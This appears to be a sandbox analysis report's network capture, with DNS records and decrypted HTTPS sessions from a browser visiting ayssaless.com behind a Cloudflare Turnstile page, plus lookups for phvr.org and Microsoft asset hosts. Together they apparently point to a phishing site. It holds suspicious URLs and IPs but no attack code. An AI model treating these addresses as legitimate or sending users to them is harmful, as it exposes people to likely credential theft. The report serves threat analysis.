Jul 3, 2024 23:50:43.876707077 CEST	1.1.1.1	192.168.2.4	0xd22b	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:44.147015095 CEST	1.1.1.1	192.168.2.4	0xdbf5	No error (0)	phvr.org		185.143.223.70	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:52.343790054 CEST	1.1.1.1	192.168.2.4	0xf882	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:52.343880892 CEST	1.1.1.1	192.168.2.4	0xdc6	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:52.347040892 CEST	1.1.1.1	192.168.2.4	0xe41d	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:52.347992897 CEST	1.1.1.1	192.168.2.4	0x55c5	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:52.350231886 CEST	1.1.1.1	192.168.2.4	0x2712	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:52.495618105 CEST	1.1.1.1	192.168.2.4	0x790b	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:53.228619099 CEST	1.1.1.1	192.168.2.4	0x7b0	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:53.228619099 CEST	1.1.1.1	192.168.2.4	0x7b0	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:55.386077881 CEST	1.1.1.1	192.168.2.4	0x4ade	No error (0)	i.s-microsoft.com	i.s-microsoft.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:55.386657953 CEST	1.1.1.1	192.168.2.4	0xfc7a	No error (0)	i.s-microsoft.com	i.s-microsoft.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:55.651345015 CEST	1.1.1.1	192.168.2.4	0xf2c	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:55.652637005 CEST	1.1.1.1	192.168.2.4	0xc47f	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:51:12.102139950 CEST	1.1.1.1	192.168.2.4	0x258f	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:51:12.102183104 CEST	1.1.1.1	192.168.2.4	0x2130	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:51:12.102444887 CEST	1.1.1.1	192.168.2.4	0xc133	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:51:12.102554083 CEST	1.1.1.1	192.168.2.4	0xd274	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:51:12.103687048 CEST	1.1.1.1	192.168.2.4	0xeb3b	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:51:12.118009090 CEST	1.1.1.1	192.168.2.4	0x6017	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:51:13.638353109 CEST	1.1.1.1	192.168.2.4	0x76cf	No error (0)	i.s-microsoft.com	i.s-microsoft.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:51:13.723735094 CEST	1.1.1.1	192.168.2.4	0xae4c	No error (0)	i.s-microsoft.com	i.s-microsoft.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

ayssaless.com

https:

challenges.cloudflare.com

phvr.org

outlook.office365.com

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:02 UTC	665	OUT	GET /?dybkhjzu HTTP/1.1 Host: ayssaless.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:03 UTC	420	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=jf7YXdIMEkHJ; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; path=/; samesite=none; secure; httponly location: /?dybkhjzu=7fd3278cbad230a46aea1749c768258a239f96a4595391908a87812351a895e43093a1c5c4e9f400c6baeab531aa312d260c1bdff35b93216f7c90c5166986c9 Date: Wed, 03 Jul 2024 21:50:03 GMT Connection: close Transfer-Encoding: chunked
2024-07-03 21:50:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:03 UTC	859	OUT	GET /?dybkhjzu=7fd3278cbad230a46aea1749c768258a239f96a4595391908a87812351a895e43093a1c5c4e9f400c6baeab531aa312d260c1bdff35b93216f7c90c5166986c9 HTTP/1.1 Host: ayssaless.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw
2024-07-03 21:50:03 UTC	142	IN	HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 Date: Wed, 03 Jul 2024 21:50:03 GMT Connection: close Transfer-Encoding: chunked
2024-07-03 21:50:03 UTC	3271	IN	Data Raw: 63 62 62 0d 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 0a 3c 2f 73 63 72 69 70 74 3e 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d Data Ascii: cbb<!doctype html><html lang=en-US><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-scale=1" name=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:04 UTC	572	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ayssaless.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:04 UTC	336	IN	HTTP/1.1 302 Found Date: Wed, 03 Jul 2024 21:50:04 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/d2a97f6b6ec9/api.js Server: cloudflare CF-RAY: 89da16cf5d244211-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:05 UTC	556	OUT	GET /turnstile/v0/g/d2a97f6b6ec9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ayssaless.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:05 UTC	408	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42691 Connection: close accept-ranges: bytes last-modified: Thu, 27 Jun 2024 13:08:16 GMT cache-control: max-age=31536000 access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 89da16d5ee224315-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 21:50:05 UTC	961	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 2c 61 2c 72 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 75 5d 28 67 29 2c 5f 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 6c 29 7b 72 28 6c 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 61 28 5f 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 5f 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2c 72 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 61 2c 72 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Et(e,a,r,o,c,u,g){try{var b=e[u](g),_=b.value}catch(l){r(l);return}b.done?a(_):Promise.resolve(_).then(o,c)}function wt(e){return function(){var a=this,r=arguments;return new Promise(function(o,c){var u=e.apply(a,r);funct
2024-07-03 21:50:05 UTC	1369	IN	Data Raw: 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 61 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 72 2e 70 75 73 68 2e 61 70 70 6c 79 28 72 2c 6f 29 7d 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 61 29 7b 72 65 74 75 72 6e 20 61 3d 61 21 3d 6e 75 6c 6c 3f 61 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 Data Ascii: tySymbols){var o=Object.getOwnPropertySymbols(e);a&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),r.push.apply(r,o)}return r}function Tt(e,a){return a=a!=null?a:{},Object.getOwnPropertyDescriptors?Object.definePropertie
2024-07-03 21:50:05 UTC	1369	IN	Data Raw: 28 65 2c 61 29 7c 7c 52 74 28 65 2c 61 29 7c 7c 41 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 43 65 28 65 2c 61 29 7b 76 61 72 20 72 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 5d 26 31 29 74 68 72 6f 77 20 75 5b 31 5d 3b 72 65 74 75 72 6e 20 75 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 63 2c 75 2c 67 3b 72 65 74 75 72 6e 20 67 3d 7b 6e Data Ascii: (e,a)\|\|Rt(e,a)\|\|At()}function C(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ce(e,a){var r={label:0,sent:function(){if(u[0]&1)throw u[1];return u[1]},trys:[],ops:[]},o,c,u,g;return g={n
2024-07-03 21:50:05 UTC	1369	IN	Data Raw: 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 43 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4e 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 Data Ascii: enges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ct=300020;var Ne=300030;var U;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE
2024-07-03 21:50:05 UTC	1369	IN	Data Raw: 39 5f 2d 5d 7b 30 2c 33 32 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 6d 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 6d 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b Data Ascii: 9_-]{0,32}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}var mr=/^[a-z0-9_\-=]{0,255}$/i;function Ze(e){return e===void 0?!0:typeof e=="string"&&mr.test(e)}function et(e){return N(["normal","compact","invisible"],e)}function tt(e){
2024-07-03 21:50:05 UTC	1369	IN	Data Raw: 22 3b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 62 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 5f 2c 22 74 75 72 6e 73 74 69 6c 65 2f 69 66 2f 6f 76 32 2f 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2e 73 69 7a 65 29 2e 63 6f 6e 63 61 74 28 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 4c 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c Data Ascii: ";return"".concat(b,"/cdn-cgi/challenge-platform/").concat(_,"turnstile/if/ov2/av0/rcv").concat(o,"/").concat(e,"/").concat(a,"/").concat(r.theme,"/").concat(r.size).concat(l)}function Le(e){if(e===void 0)throw new ReferenceError("this hasn't been initial
2024-07-03 21:50:05 UTC	1369	IN	Data Raw: 65 29 7b 76 61 72 20 61 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 50 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 47 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 61 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 61 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 61 2e 67 65 74 28 6f 29 3b 61 2e 73 65 74 Data Ascii: e){var a=typeof Map=="function"?new Map:void 0;return Pe=function(o){if(o===null\|\|!Gt(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof a!="undefined"){if(a.has(o))return a.get(o);a.set
2024-07-03 21:50:05 UTC	1369	IN	Data Raw: 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 4b 74 28 29 7b 76 61 72 20 65 3d 73 74 28 29 3b 65 7c 7c 70 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 61 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 61 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 72 3d 65 2e 73 72 63 2c 6f 3d 72 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e Data Ascii: c.src))return c}function Kt(){var e=st();e\|\|p("Could not find Turnstile script tag, some features may not be available",43777);var a={loadedAsync:!1,params:new URLSearchParams};(e.async\|\|e.defer)&&(a.loadedAsync=!0);var r=e.src,o=r.split("?");return o.len
2024-07-03 21:50:05 UTC	1369	IN	Data Raw: 3f 53 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 3f 68 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 34 38 30 70 78 22 3a 68 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 34 36 30 70 78 22 2c 68 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 68 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 32 30 22 2c 68 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 31 70 78 22 2c 68 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 43 6f 6c 6f 72 3d 22 23 30 30 30 22 2c 68 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 53 74 79 6c 65 3d 22 73 6f 6c 69 64 22 2c 68 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 68 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 Data Ascii: ?S:"nonexistent")?h.style.height="480px":h.style.height="460px",h.style.position="absolute",h.style.zIndex="21474836420",h.style.borderWidth="1px",h.style.borderColor="#000",h.style.borderStyle="solid",h.style.backgroundColor="#ffffff",h.style.borderRadiu
2024-07-03 21:50:05 UTC	1369	IN	Data Raw: 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 4e 53 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 2c 22 6c 69 6e 65 22 29 3b 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 72 6f 6b 65 2d 77 69 64 74 68 22 2c 22 33 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 72 6f 6b 65 22 2c 22 23 66 66 66 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 66 69 6c 6c 22 2c 22 6e 6f 6e 65 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 78 31 22 2c 22 36 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 78 32 22 2c 22 31 38 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 79 31 22 2c 22 31 38 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 79 32 22 2c Data Ascii: ocument.createElementNS("http://www.w3.org/2000/svg","line");t.setAttribute("stroke-width","3"),t.setAttribute("stroke","#fff"),t.setAttribute("fill","none"),t.setAttribute("x1","6"),t.setAttribute("x2","18"),t.setAttribute("y1","18"),t.setAttribute("y2",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:06 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-03 21:50:06 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=65938 Date: Wed, 03 Jul 2024 21:50:06 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49743	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:06 UTC	786	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ayssaless.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:06 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 79315 Connection: close cross-origin-resource-policy: cross-origin cross-origin-embedder-policy: require-corp referrer-policy: same-origin critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, 